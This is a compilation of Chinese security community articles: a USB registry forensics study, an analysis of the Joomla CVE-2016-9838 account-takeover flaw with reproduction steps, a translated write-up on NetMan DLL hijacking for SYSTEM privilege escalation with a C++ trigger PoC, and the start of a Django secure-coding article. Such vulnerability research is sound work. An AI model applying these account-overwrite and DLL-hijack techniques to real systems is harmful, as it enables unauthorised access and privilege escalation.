本实验的目的在于测试Windows是如何将USB设备进行识别和安装的。这是通过观察当一个设备首次插入系统时，系统中的注册表的变化来实现的。在测试之前的假设是，Windows给一个设备选择和安装驱动程序主要是根据这个设备使用的传输协议来决定的。我们的目的是观察每个协议是否是一致的变化，或者是MSC、PTP和MTP这三个USB传输协议之间的变化不同。然后根据这个结果确定Windows是否根据其它的信息去安装USB设备的。
**2.1方案1** ：表2.1.1是协议之间在Windows XP SP 3中的比较，代表设备插入虚拟机中的Windows XP Service Pack
3时的项和值的变化。
我们对表1.1.1提到的设备按协议进行了测试，很显然，Windows XP
确实是根据传输协议去安装设备的。在这个表中比较设备首次插入电脑时，这三个协议对于注册表的影响有明显的差别。
你可以下载用于测试设备的注册表文件：
[XP_1-toshiba_canvio_1tb_usb30.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_1-toshiba_canvio_1tb_usb30.zip)
[XP_2-seagate_bkplus_3tb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_2-seagate_bkplus_3tb_usb20.zip)
[XP_3-sandisk_cruzer_8gb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_3-sandisk_cruzer_8gb_usb20.zip)
[XP_4-sandisk_cruzer_16gb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_4-sandisk_cruzer_16gb_usb20.zip)
[XP_5-ipod_5thgen_30gb.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_5-ipod_5thgen_30gb.zip)
[XP_6-htc_magic_android.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_6-htc_magic_android.zip)
[XP_7-ipad_1.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_7-ipad_1.zip)
[XP_8-ipad_2.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_8-ipad_2.zip)
[XP_9-iphone_4.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_9-iphone_4.zip)
[XP_10-sandisk_sansa_m240.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_10-sandisk_sansa_m240.zip)
[XP_11-samsung_galaxys3_android.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_11-samsung_galaxys3_android.zip)
[XP_12-blackberry_storm_9530.zip
](http://nicoleibrahim.com/wp-content/uploads/2013/12/XP_11-samsung_galaxys3_android.zip)
**下面是特别值得注意的地方：**
从表中我们可以看到，这三个协议之间只有三个注册表项。其它的所有都是指向特定的协议。
由于这三个协议的通用性有限，所以一个取证软件基本不可能去包含完所有的已经绑定到系统的USB设备的信息，因此在它的输出报告中可能没办法完全说明一个设备。所以在正式调查时，一个取证分析员必须要会手动去分析注册表进行取证。
对于PTP和MTP设备，当一个设备首次插入式注册表的NTUSER不会发生变化。这就可能很难识别出到底是哪一个用户在使用特定的设备了。然而，还应该记住一点，插入一个PTP和MTP设备不会在Windows
XP 的NTUSER中遗留数据。而用户执行上述设备之外的相关行为时，就会创建与用户关联的特定数据，并标明连接这个设备的用户。
这些稍后再讨论。
表2.1.1 Windows XP:当USB设备首次插入系统时注册表的变化比较
**2.2 方案2** ：从表2.2.1中比较Windows 7 Service Pack 1中的协议，代表设备插入虚拟机中的Windows 7
Service Pack 1 时的项和值的变化。
你可以下载用于测试设备的注册表文件：
[Win7_1-wd_mypassport_500gb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_1-wd_mypassport_500gb_usb20.zip)
[Win7_2-wd_mypassport_1tb_usb30.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_2-wd_mypassport_1tb_usb30.zip)
[Win7_3-toshiba_canvio_1tb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_3-toshiba_canvio_1tb_usb20.zip)
[Win7_4-toshiba_canvio_1tb_usb30.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_4-toshiba_canvio_1tb_usb30.zip)
[Win7_5-seagate_bkplus_3tb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_5-seagate_bkplus_3tb_usb20.zip)
[Win7_6-sandisk_cruzer_8gb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_6-sandisk_cruzer_8gb_usb20.zip)
[Win7_7-sandisk_cruzer_16gb_usb20.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_7-sandisk_cruzer_16gb_usb20.zip)
[Win7_8-adata_s102_8gb_usb30.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_8-adata_s102_8gb_usb30.zip)
[Win7_9-ipod_5thgen_30gb.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_9-ipod_5thgen_30gb.zip)
[Win7_10-htc_magic_android.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_10-htc_magic_android.zip)
[Win7_11-ipad_2.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_11-ipad_2.zip)
[Win7_12-iphone_4.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_12-iphone_4.zip)
[Win7_13-sandisk_sansa_m240.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_13-sandisk_sansa_m240.zip)
[Win7_14-samsung_galaxys3_android.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_14-samsung_galaxys3_android.zip)
[Win7_15-samsung_galaxys4_android.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_15-samsung_galaxys4_android.zip)
[Win7_16-blackberry_storm_9530.zip](http://nicoleibrahim.com/wp-content/uploads/2013/12/Win7_16-blackberry_storm_9530.zip)
**下面是特别值得注意的地方：**
1.Windows7貌似根据两种不同的因素决定一个设备是否由WPD支持安装。如果一个设备由WPD支持安装的话，那么用于安装和枚举的注册表项就映射了这个设备的类型。Windows使用WPD支持安装的因素有：
(1) 使用的协议：WPD自动支持安装和枚举PTP及WPD设备。MSC作为海量存储类进行安装，一些具有WPD的支持，这些取决于下一条因素。
(2) 该MSC设备的可移动媒体位（Removable Media
Bit）的状态：如果这个设备的可移动媒体位标志开启（闪存设备和其它使用MSC的设备），那么Windows就会给这些设备的安装提供WPD支持。若扩展启动器出现“fixed”及可移动媒体位标志关闭，那么他们就没有安装WPD支持。在表2.2.1中，注册表项在可移动媒体标志位开启的设备首次插入电脑时，在“MSC”栏下用“RM”作标志。
2.和Windows XP一样，Windows7在PTP和MTP设备首次插入电脑时，Windows不会在NTUSER中提供工件。除非这个设备支持Device
Stage。
3.随着Windows 7的到来，一个名叫“Device Stage”的新功能被引入。由于厂商的实现，一些USB设备支持了Device
Stage。在Windows
7内部，安装这些设备时，Windows会提供对取证来说相当重要的工件。比如，在NTUSER内，审查者可以识别出是哪个用户使用了特定的设备。Device
Stage设备在NTUSER产生的项包含一个名为“DDO”的值，它可以链接到一个名为“ContainerID”的值。在SYSTEM项下的ENUMUSB注册表键指向这个设备。在下面的表中，支持了Device
Stage的设备的注册表项在MTP列里用DS进行了标识。
4.最后非常重要的一点是关于Windows识别枚举出的WPD设备所具有的功能。根据设备支持的功能，Windows为安装和枚举出来的设备使用不同的注册表键值。由于测试的MTP和PTP设备数量有限，要想说明所有的设备是不大可能了。不过可以通过枚举设备用到的注册表键值去间接推断一个设备支持的功能，或者直接观察SOFTWARE下的MicrosoftWindowsCurrentVersionExplorerAutoplayHandlersDeviceHandlers下的注册表键、子键和值来判定。
表2.2.1 Windows 7: 比较支持各协议的设备首次插入时注册表的变化
你可以在[这里](http://nicoleibrahim.com/wp-content/uploads/2013/12/USB_Research-USBFirstInsertChanges.xls)下载Excel格式的表格
在即将到来的文章中，我将涵盖在Windows 7中对MSC设备进行遍历的测试内容。还将包括两种不同协议的设备的bagMRU shell注册表键。
**资源**
[1] <http://msdn.microsoft.com/en-us/windows/hardware/gg463154.aspx>
[第一部分：USB设备的研究——概述](http://bobao.360.cn/news/detail/2508.html)
[第二部分：USB设备的研究——MSC与PTP及MTP](http://bobao.360.cn/learning/detail/2511.html)
[第三部分：USB设备的研究——在Windows中枚举USB设备](http://bobao.360.cn/learning/detail/2526.html) | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2016-12-21**
## 0x00 漏洞概述
### 1.漏洞简介
[Joomla](https://www.joomla.org/)
于12月13日发布了3.6.5的[升级公告](https://www.joomla.org/announcements/release-news/5693-joomla-3-6-5-released.html)，此次升级修复了三个安全漏洞，其中
[CVE-2016-9838](https://developer.joomla.org/security-centre/664-20161201-core-elevated-privileges.html)
被官方定为高危。根据官方的描述，这是一个权限提升漏洞，利用该漏洞攻击者可以更改已存在用户的用户信息，包括用户名、密码、邮箱和权限组
。经过分析测试，成功实现了水平用户权限突破，但没有实现垂直权限提升为管理员。
### 2.漏洞影响
触发漏洞前提条件：
1. 网站开启注册功能
2. 攻击者知道想要攻击的用户的 **id** （不是用户名）
成功攻击后攻击者可以更改已存在用户的用户信息，包括用户名、密码、邮箱和权限组 。
### 3.影响版本
1.6.0 - 3.6.4
## 0x01 漏洞复现
### 1\. 环境搭建
docker-compose.yml:
version: '2'
services:
db:
image: mysql
environment:
- MYSQL_ROOT_PASSWORD=hellojm
- MYSQL_DATABASE=jm
app:
image: joomla:3.6.3
depends_on:
- db
links:
- db
ports:
- "127.0.0.1:8080:80"
然后在 docker-compose.yml 所在目录执行`docker-compose up`，访问后台开启注册再配置SMTP即可。
### 2.漏洞分析
官方没有给出具体的分析，只给了描述：
翻译过来就是：
对表单验证失败时存储到 session 中的未过滤数据的不正确使用会导致对现有用户帐户的修改，包括重置其用户名，密码和用户组分配。
因为没有具体细节，所以我们先从补丁下手，其中这个文件的更改引起了我的注意：
<https://github.com/joomla/joomla-cms/commit/435a2226118a4e83ecaf33431ec05f39c640c744>
可以看到这里的`$temp`是 session 数据，而该文件又与用户相关，所以很有可能就是漏洞点。
我们下面通过这样两个步骤来分析：
1. 寻找输入点
2. 梳理处理逻辑
**1.寻找输入点**
我们找一下这个 session 是从哪里来的：
在`components/com_users/controllers/registration.php`中设置，在`components/com_users/models/registration.php`中获取。我们看`components/com_users/controllers/registration.php`中第108-204行的`register`函数：
public function register()
{
...
$data = $model->validate($form, $requestData);
// Check for validation errors.
if ($data === false)
{
...
// Save the data in the session.
$app->setUserState('com_users.registration.data', $requestData);
...
}
// Attempt to save the data.
$return = $model->register($data);
// Check for errors.
if ($return === false)
{
// Save the data in the session.
$app->setUserState('com_users.registration.data', $data);
...
}
...
}
这两处设置 session
均在产生错误后进行，和漏洞描述相符，并且`$requestData`是我们原始的请求数据，并没有被过滤，所以基本可以把这里当作我们的输入点。
我们来验证一下，首先随便注册一个用户，然后再注册同样的用户并开启动态调试：
由于这个用户之前注册过，所以验证出错，从而将请求数据写入了 session 中。
取 session
的地方在`components/com_users/models/registration.php`的`getData`函数，该函数在访问注册页面时就会被调用一次，我们在这时就可以看到
session 的值：
由于存储的是请求数据，所以我们还可以通过构造请求来向 session 中写入一些 **额外** 的变量。
**2.梳理处理逻辑**
输入点找到了，下面来看我们输入的数据在哪里被用到。我们看`components/com_users/models/registration.php`的`register`函数：
public function register($temp)
{
$params = JComponentHelper::getParams('com_users');
// Initialise the table with JUser.
$user = new JUser;
$data = (array) $this->getData();
// Merge in the registration data.
foreach ($temp as $k => $v)
{
$data[$k] = $v;
}
// Prepare the data for the user object.
$data['email'] = JStringPunycode::emailToPunycode($data['email1']);
$data['password'] = $data['password1'];
$useractivation = $params->get('useractivation');
$sendpassword = $params->get('sendpassword', 1);
...
// Bind the data.
if (!$user->bind($data))
{
$this->setError(JText::sprintf('COM_USERS_REGISTRATION_BIND_FAILED', $user->getError()));
return false;
}
// Load the users plugin group.
JPluginHelper::importPlugin('user');
// Store the data.
if (!$user->save())
{
$this->setError(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $user->getError()));
return false;
}
...
}
在这里调用了之前的`getData`函数，然后使用请求数据对`$data`赋值，再用`$data`对用户数据做更改。
首先跟进`$user->bind($data)`，在`libraries/joomla/user/user.php`中第595-693行：
public function bind(&$array)
{
...
// Bind the array
if (!$this->setProperties($array))
{
$this->setError(JText::_('JLIB_USER_ERROR_BIND_ARRAY'));
return false;
}
// Make sure its an integer
$this->id = (int) $this->id;
return true;
}
这里根据我们传入的数据对对象的属性进行赋值，`setProperties`并没有对赋值进行限制。
接下来我们看`$user->save($data)`，在`libraries/joomla/user/user.php`中第706-818行：
public function save($updateOnly = false)
{
// Create the user table object
$table = $this->getTable();
$this->params = (string) $this->_params;
$table->bind($this->getProperties());
...
if (!$table->check())
{
$this->setError($table->getError());
return false;
}
...
// Store the user data in the database
$result = $table->store();
...
}
具体内容就是将`$user`的属性绑定到`$table`中，然后对`$table`进行检查，这里仅仅是过滤特殊符号和重复的用户名和邮箱，如果检查通过，将数据存入到数据库中，存储数据的函数在`libraries/joomla/table/user.php`中：
/**
* Method to store a row in the database from the JTable instance properties.
*
* If a primary key value is set the row with that primary key value will be updated with the instance property values.
* If no primary key value is set a new row will be inserted into the database with the properties from the JTable instance.
*
* @param boolean $updateNulls True to update fields even if they are null.
*
* @return boolean True on success.
*
* @since 11.1
*/
public function store($updateNulls = false)
如果主键存在则更新，主键不存在则插入。
整个的流程看下来我发现这样一个问题：
**如果`$data`中有`id`这个属性并且其值是一个已存在的用户的 id
，由于在`bind`和`save`中并没有对这个属性进行过滤，那么最终保存的数据就会带有 id
这个主键，从而变成了更新操作，也就是用我们请求的数据更新了一个已存在的用户。**
实际操作一下，我们之前注册了一个名字为 victim 的用户，数据库中的 id 是57：
然后我们以相同的用户名再发起一次请求，然后截包，添加一个值为57名为`jform[id]`的属性：
放行后由于重复注册从而发生错误，程序随后将请求数据记录到了 session 中：
接下来我们发送一个新的注册请求，用户名邮箱均为之前未注册过的，在`save`函数处下断点：
id 被写进了`$user`中。然后放行请求，即可在数据库中看到结果：
之前的 victim 已被新用户 attacker 取代。
整个攻击流程总结如下：
1. 注册用户A
2. 重复注册用户A，请求包中加上想要攻击的用户C的 id
3. 注册用户B
4. 用户B替代了用户C
（上面的演示中A和C是同一个用户）
需要注意的是我们不能直接发送一个带有 id
的请求来更新用户，这样的请求会在`validate`函数中被过滤掉，在`components/com_users/controllers/registration.php`的`register`函数中：
public function register()
{
...
$data = $model->validate($form, $requestData);
// Check for validation errors.
if ($data === false)
{
...
// Save the data in the session.
$app->setUserState('com_users.registration.data', $requestData);
...
}
// Attempt to save the data.
$return = $model->register($data);
...
}
所以我们采用的是先通过`validate`触发错误来将 id 写到 session 中，然后发送正常请求，在`register`中读取 session
来引入 id，这样就可以绕过`validate`了。
另外一点，实施攻击后被攻击用户的权限会被改为新注册用户的权限（一般是
Registered），这个权限目前我们无法更改，因为在`getData`函数中对`groups`做了强制赋值：
$temp = (array) $app->getUserState('com_users.registration.data', array());
...
// Get the groups the user should be added to after registration.
$this->data->groups = array();
// Get the default new user group, Registered if not specified.
$system = $params->get('new_usertype', 2);
$this->data->groups[] = $system;
所以目前只是实现了水平权限的提升，至于是否可以垂直权限提升以及怎么提升还要等官方的说明或者是大家的分析。
由于没有技术细节，一切都是根据自己的推断而来，如有错误，还望指正 :)
### 3.补丁分析
使用 session 时仅允许使用指定的属性。
## 0x02 修复方案
升级至3.6.5 <https://www.joomla.org/announcements/release-news/5693-joomla-3-6-5-released.html>
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92574
* <https://www.joomla.org/announcements/release-news/5693-joomla-3-6-5-released.html>
* <https://developer.joomla.org/security-centre/664-20161201-core-elevated-privileges.html>
* <https://github.com/joomla/joomla-cms/commit/435a2226118a4e83ecaf33431ec05f39c640c744>
* * * | 社区文章 |
# Windows Server 2008 R2-2009 NetMan DLL劫持漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 github，文章来源：itm4n.github.io
原文地址：<https://itm4n.github.io/windows-server-netman-dll-hijacking/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2008 R2到2009的所有Windows Server系统都存在`%PATH%`目录DLL劫持问题，受影响的服务以`NT
AUTHORITY\SYSTEM`权限运行，普通用户能跟根据需要决定是否触发DLL加载操作，并且不需要主机重启。由于某些`%PATH%`目录的权限较为脆弱，因此这可能是实现权限提升最直接的一种方法。目前似乎没有公开资料介绍过这一点，我将在本文中与大家分享我的发现。
这里必须澄清一点：[微软](https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/)并没有将这种DLL劫持行为当成漏洞，我也比较同意这个观点。因为在默认情况下，即使运行在高权限下的某个进程会从`%PATH%`目录中加载DLL，这种行为也无法被普通用户利用。然而在实际环境（特别是企业环境）中，我们经常能够看到有些第三方应用使用了较为脆弱的文件夹权限。此外，如果这些应用将自身添加到系统的`%PATH%`中，那么整个系统就会存在安全风险。关于这一点，我个人建议微软应当尽可能阻止这种不可控的DLL加载行为，避免单个应用存在的小配置错误演化成影响这个系统的权限提升问题。
## 0x01 使用Procmon搜索DLL劫持
我在某次研究Windows 2008
R2系统时发现了这种行为，虽然该系统已不再受官方支持，但仍然在企业网络中广泛使用，并且我也在寻找一种最简单的方法，来利用我之前发现的[CVE-2020-0668](https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/)漏洞。在过去几个月内，我在Windows 10工作站上花了不少时间研究，因此刚回到Windows 7/2008
R2时有点不习惯，忘记了之前掌握的知识，只能从头开始。最开始我的问题是：如何能在Windows 2008 R2上来轻松利用任意文件写入原语。
我最初的想法是从`IKEEXT`服务开始着手。在默认安装的Windows 2008
R2系统上，这个服务处于停止状态，并且该服务在启动时会尝试加载不存在的一个`wlbsctrl.dll`库。正常用户可以尝试发起虚拟VPN连接，就能够轻松触发该服务。然而，启动该服务只会对其启动模式造成一次影响，随后启动模式会从`DEMAND_START`变成`AUTOMATIC`。在这种情况下，利用该服务需要重启主机，导致这个服务利用价值不是特别大，因此我必须寻找其他方法。我注意到研究员Frédéric
Bourla在一篇[文章](https://www.reddit.com/r/hacking/comments/b0lr05/a_few_binary_plating_0days_for_windows/)中介绍了另一些DLL劫持方法，但这些方法要么不容易触发，要么利用过程有点随机性。
我决定使用Process Monitor开始研究，检查返回`NAME NOT
FOUND`错误的DLL加载事件。在利用任意文件写入的上下文中，我们并不需要局限于`%PATH%`目录，因此我们能找到许多结果。为了进一步研究，我添加了一个约束条件。我想过滤掉尝试从`C:\Windows\System32\`目录加载不存在的DLL的进程，然而又从其他目录中找到了该DLL，以避免出现拒绝服务现象（特别是如果这种DLL是进程必须的库，那更可能出现这种情况）。
我考虑到了3种DLL劫持场景：
1、程序尝试从`C:\Windows\System32\`种加载不存在的一个DLL，但该DLL存在于另一个Windows目录中（比如`C:\Windows\System\`）。由于`C:\Windows\System32\`目录的权限更高，因此是一个潜在的目标。
2、程序尝试加载不存在的一个DLL，但使用了安全的DLL搜索顺序。比如，该程序只会尝试从`C:\Windows\System32\`目录种加载DLL。
3、程序尝试加载不存在的一个DLL，并且使用了不受限制的DLL搜索顺序。
第一种场景可能会导致拒绝服务，所以我暂不考虑。第二种场景比较有趣，但想在Procmon返回的大量结果中准确梳理还是有点困难。第三种场景无疑是最有趣的一种。一旦DLL不存在，劫持DLL时就不大可能发生拒绝服务，并且在Procmon种也很容易发现。
为了完成该任务，我并没有在Process
Monitor中添加一个新的过滤器，而是简单添加一条规则，高亮出包含`WindowsPowerShell`的所有路径。为什么使用这个路径呢？在所有版本的（现代）Windows系统中，`C:\Windows\System32\WindowsPowerShell\v1.0\`目录默认情况下位于`%PATH%`中。因此，当我们看到有程序尝试从该目录加载DLL时，可能意味着该程序存在DLL劫持风险。
随后，我尝试启动/停止每个服务或者计划任务，在花了几个小时观察Procmon的输出结果后，我找到了如下信息：
简直不敢相信，我竟然看到以`NT
AUTHORITY\SYSTEM`权限运行的某个服务会加载不存在的一个DLL。我的第一个想法是：如果`wlanhlp.dll`是能被劫持的DLL，那么应该已经有一些公开资料，这里肯定是我犯了一些错误，或者我安装了某些第三方应用导致出现这种情况。然而我使用的是全新安装的Windows
Server 2008 R2系统，使用的是专用的虚拟机，唯一一个第三方应用为“VMware
Tools”。此外，目前我做的所有研究主要基于工作站版本的Windows，因为这种系统通常更为方便，那这是不是我看到这种事件的原因所在呢？
幸运的是，我也安装了一个Windows 7虚拟机，因此我快速检查了一遍。经过测试后，我发现这个DLL存在于工作站系统中。
正如大家所想，`wlanhlp.dll`的确与Wlan功能有关。Wlan
API默认情况下只在工作站版本上可用，在Server版本上必须以其他组件形式安装。无论如何，这里我得研究一下。
## 0x02 NetMan及Wlan API
我们先在Procmon中看一下事件属性，了解关于该服务的更多细节。
该进程以`NT AUTHORITY\SYSTEM`权限运行，这一点对我们而言是一个好消息。进程PID为`972`，因此我们在任务管理器中检查一下对应的服务。
该进程中运行着3个服务。在Procmon中看一下事件的调用栈信息，我们应该能够确定尝试加载这个DLL的对象。
其中我们可以看到`netman.dll`的身影，因此对应的服务肯定为`NetMan`（即Network
Connections，网络连接）。现在我们已经解决了其中一个疑问。如果我们仔细观察调用栈，还可以注意到其中有多处引用到了`RPCRT4.dll`或者`ole32.dll`。这是一个好兆头，意味着该事件很有可能通过RPC/COM来触发。如果的确是这种情况，我们就有机会通过几行代码，以普通用户身份触发该事件，但我想进一步研究一下。
之所以会出现DLL劫持，原因在于Wlan API默认情况下并没有安装在Server版的Windows 6.1上（即Windows 7/2008
R2）。那么问题在于：这种情况是否适用于其他版本的Windows呢？
幸运的是，我手头上有大量虚拟机，其中就包含Server 2012 R2以及2019，因此测试起来也非常方便。
在Windows Server 2012
R2上，Procmon中并没有发现`wlanhlp.dll`，然而却出现了`wlanapi.dll`。查看该事件的详细信息，我们发现情况完全一致。这意味着Windows
6.3（8.1/2012 R2）上同样存在这种现象。
大家可能觉得这个Windows系统版本有点老，Windows 2019肯定不会存在该问题。我们来测试一下：
Windows Server 2019上同样能看到这种行为。最后我测试了2008到2019之间所有版本的Windows
Server系统，得出的结论是所有版本都存在这种DLL劫持问题。唯一的例外是Server 2008，我没办法在该系统上复现该问题。
## 0x03 如何触发DLL劫持事件
稍微总结一下现有信息。在所有版本的Windows Server上，`NetMan`服务运行在`NT
AUTHORITY\SYSTEM`上下文中，并且会尝试加载不存在的`wlanhlp.dll`或者`wlanapi.dll`，同时不使用安全的DLL搜索顺序。因此，该服务最后会尝试从系统的`%PATH%`环境变量所指向的目录中加载这个DLL。这个行为对我们而言非常理想。
下面我们要澄清是否能以普通用户身份触发该事件。虽然我已解释过这种行为是因为某些RPC/COM事件，但并不意味着我们能触发该行为。也有可能是因为两个服务彼此间通过RPC进行通信才触发该事件。
无论如何，我们总要怀抱希望，再次检查一下调用栈。这一次我们在使用Procmon时，可以配合使用微软提供的公共符号。为了完成该任务，我切换到日常用于安全研究的Windows
10虚拟机。
可以看到这里调用了`CLanConnection::GetProperties()`，而在其他事件中调用的是`CLanConnection::GetPropertiesEx()`。我们来使用[OleViewDotNet](https://github.com/tyranid/oleviewdotnet)，检查`NetMan`公开的COM对象，看能否找到这些方法。
根据类的名称，看上去`LAN Connection
Class`似乎是不错的研究目标。因此我创建了该类的一个实例，详细检查`INetConnection`接口。
找到了！我们看到了`CLanConnection::GetProperties()`方法，我们离目标已经更进一步。
此时我认为进展非常顺利。首先，我看到之前未见过的DLL劫持行为；然后，我发现该行为可以通过RPC/COM事件触发；最后，我发现使用OleViewDotNet我们很容易就能找到相关方法。我们必须抓住这个机会，但现在我们可能会遇到一个问题：COM对象上的限制性权限。
COM对象同样也有安全概念，并且这些对象也包含ACL，定义了谁能够使用这些对象。因此，在继续研究前，我们需要检查这些信息。
首先我看到了`Administrators`以及`NT AUTHORITY\...`，这很正常，因为我觉得只有高权限账户能触发该行为，然后我就看到了`NT
AUTHORITY\INTERACTIVE`。
这一点意味着，只有当普通用户使用交互式会话进行身份认证时，才可以使用这个COM对象。更具体一点，我们需要本地登录到系统。听上去是不是比较鸡肋？然而事实证明，当我们通过RDP（包括VDI）进行连接时，我们也能获得交互式会话。因此在这种情况下，普通用户就可以使用这个COM对象。如果不满足这些条件，比如如果我们尝试在WinRM会话中使用该对象，就会看到一个“访问被拒绝”的错误。这种情况并没有达到我最初的预期，但看上去依然是一个不错的触发条件。
我们可以在Windows Server 2019的RDP会话中打开一个命令提示符，如下图所示：
此时整个研究内容已经结束，现在可以开始写代码。幸运的是，官方[公开](https://docs.microsoft.com/en-us/windows/win32/api/netcon/nn-netcon-inetconnection)了`INetConnection`接口，这能大大减轻我们的工作量。其次，在搜索如何使用`INetConnection->EnumConnections()`来枚举网络接口时，我偶然发现了[Simon
Mourier](https://stackoverflow.com/users/403671/simon-mourier)在[StackOverflow](https://stackoverflow.com/questions/5917304/how-do-i-detect-a-disabled-network-interface-connection-from-a-windows-applicati/5942359#5942359)上提供的一个有趣的解决方案，因此我从StackOverflow上复制了一些代码。
最终我们的PoC代码如下：
// https://stackoverflow.com/questions/5917304/how-do-i-detect-a-disabled-network-interface-connection-from-a-windows-applicati/5942359#5942359
#include <iostream>
#include <comdef.h>
#include <netcon.h>
int main()
{
HRESULT hResult;
typedef void(__stdcall* LPNcFreeNetconProperties)(NETCON_PROPERTIES* pProps);
HMODULE hModule = LoadLibrary(L"netshell.dll");
if (hModule == NULL) { return 1; }
LPNcFreeNetconProperties NcFreeNetconProperties = (LPNcFreeNetconProperties)GetProcAddress(hModule, "NcFreeNetconProperties");
hResult = CoInitializeEx(0, COINIT_MULTITHREADED);
if (SUCCEEDED(hResult))
{
INetConnectionManager* pConnectionManager = 0;
HRESULT hResult = CoCreateInstance(CLSID_ConnectionManager, 0, CLSCTX_ALL, __uuidof(INetConnectionManager), (void**)&pConnectionManager);
if (SUCCEEDED(hResult))
{
IEnumNetConnection* pEnumConnection = 0;
hResult = pConnectionManager->EnumConnections(NCME_DEFAULT, &pEnumConnection);
if (SUCCEEDED(hResult))
{
INetConnection* pConnection = 0;
ULONG count;
while (pEnumConnection->Next(1, &pConnection, &count) == S_OK)
{
NETCON_PROPERTIES* pConnectionProperties = 0;
hResult = pConnection->GetProperties(&pConnectionProperties);
if (SUCCEEDED(hResult))
{
wprintf(L"Interface: %ls\n", pConnectionProperties->pszwName);
NcFreeNetconProperties(pConnectionProperties);
}
else
{
wprintf(L"[-] INetConnection::GetProperties() failed. Error code = 0x%08X (%ls)\n", hResult, _com_error(hResult).ErrorMessage());
}
pConnection->Release();
}
pEnumConnection->Release();
}
else
{
wprintf(L"[-] IEnumNetConnection::EnumConnections() failed. Error code = 0x%08X (%ls)\n", hResult, _com_error(hResult).ErrorMessage());
}
pConnectionManager->Release();
}
else
{
wprintf(L"[-] CoCreateInstance() failed. Error code = 0x%08X (%ls)\n", hResult, _com_error(hResult).ErrorMessage());
}
CoUninitialize();
}
else
{
wprintf(L"[-] CoInitializeEx() failed. Error code = 0x%08X (%ls)\n", hResult, _com_error(hResult).ErrorMessage());
}
wprintf(L"Done\n");
}
下图显示了在Windows Server 2008
R2上的运行结果。可以看到，我们只要简单枚举主机上的Ethernet接口，就能触发DLL加载行为。在利用这种技术时，主机上必须至少具备一个Ethernet接口。
如果我们在Windows Server 2019上，以普通用户身份通过远程PowerShell会话来运行该程序时，结果如下所示：
## 0x04 总结
根据此次研究，我认为`NetMan`服务可能是目前我了解的DLL劫持攻击最理想的目标。作为普通用户，我们需要一个交互式会话（RDP/VID），因此如果我们通过远程PowerShell会话登录，那这种方法将无法派上用场。然而还有比较有趣的其他情况，如果我们拿下了以`LOCAL
SERVICE`或者`NETWORK SERVICE`运行的其他服务，那么仍然可以触发NetMan服务，将权限提升至`SYSTEM`。
此次研究中我也获得了一些经验，如果将注意力和精力集中在特定的环境中，有时候可能会阻止我们找到有趣的信息。这个经验在渗透测试中非常重要。
最后顺便提一句，我在[PrivescCheck](https://github.com/itm4n/PrivescCheck)（Windows权限提升检查脚本）中集成了这种技术。根据具体的Windows版本，我们能够通过`Invoke-HijackableDllsCheck`函数了解可能通过`%PATH%`目录劫持的DLL，这里还要感谢@1mm0rt41提供的建议。
## 0x05 参考资料
* Microsoft Security Response Center (MSRC) – Triaging a DLL planting vulnerability
<https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/>
* CVE-2020-0668 – A Trivial Privilege Escalation Bug in Windows Service Tracing
<https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/>
* A few binary planting 0-days for Windows
<https://www.reddit.com/r/hacking/comments/b0lr05/a_few_binary_plating_0days_for_windows/> | 社区文章 |
原文地址：https://zhuanlan.zhihu.com/p/26134332
[作者： **[phithon](https://www.zhihu.com/people/phithon)**
，现就职于长亭科技，参与Pwnhub的开发与运营，长期关注并笔耕于安全编码、代码审计等方向]
Pwnhub（ [pwnhub | Beta](http://link.zhihu.com/?target=https%3A//pwnhub.cn/)
），中文解释‘破解中心’，谐音胖哈勃，一个以各种安全技术为内容的竞赛平台。从去年12月初上线到现在，已经稳定运行了4个月，主办了10场比赛。作为一篇安全技术向的文章，我们不谈情怀，不谈运营，单说说Pwnhub的开发，我遇到过哪些（安全）暗坑，以及怎么去规避。
本文主要从微信模块安全、API安全、权限控制、前端安全、商城逻辑安全、运维安全等几个方面来介绍Django的安全编码。
由于我们公司的 Web 技术栈是 Vue+Django，采用纯 SPA 异步通信模式，选型上自然没有任何难度，很快前后端配合开始了工作。
## **微信模块安全**
Django框架的优势之一就是其自带的用户模块，我们可以用少量代码搭建整体用户逻辑，包括用户登录、找回密码、权限控制等。但因为Pwnhub在选型的时候就确定使用微信登录，所以用户逻辑方面势必需要进行一些改造。
我的做法是前台砍掉Django的用户登录大部分所有逻辑，包括：注册、登录、找回密码、修改密码，仅留下一个退出登录，然后自己做了微信登录相关的代码逻辑。
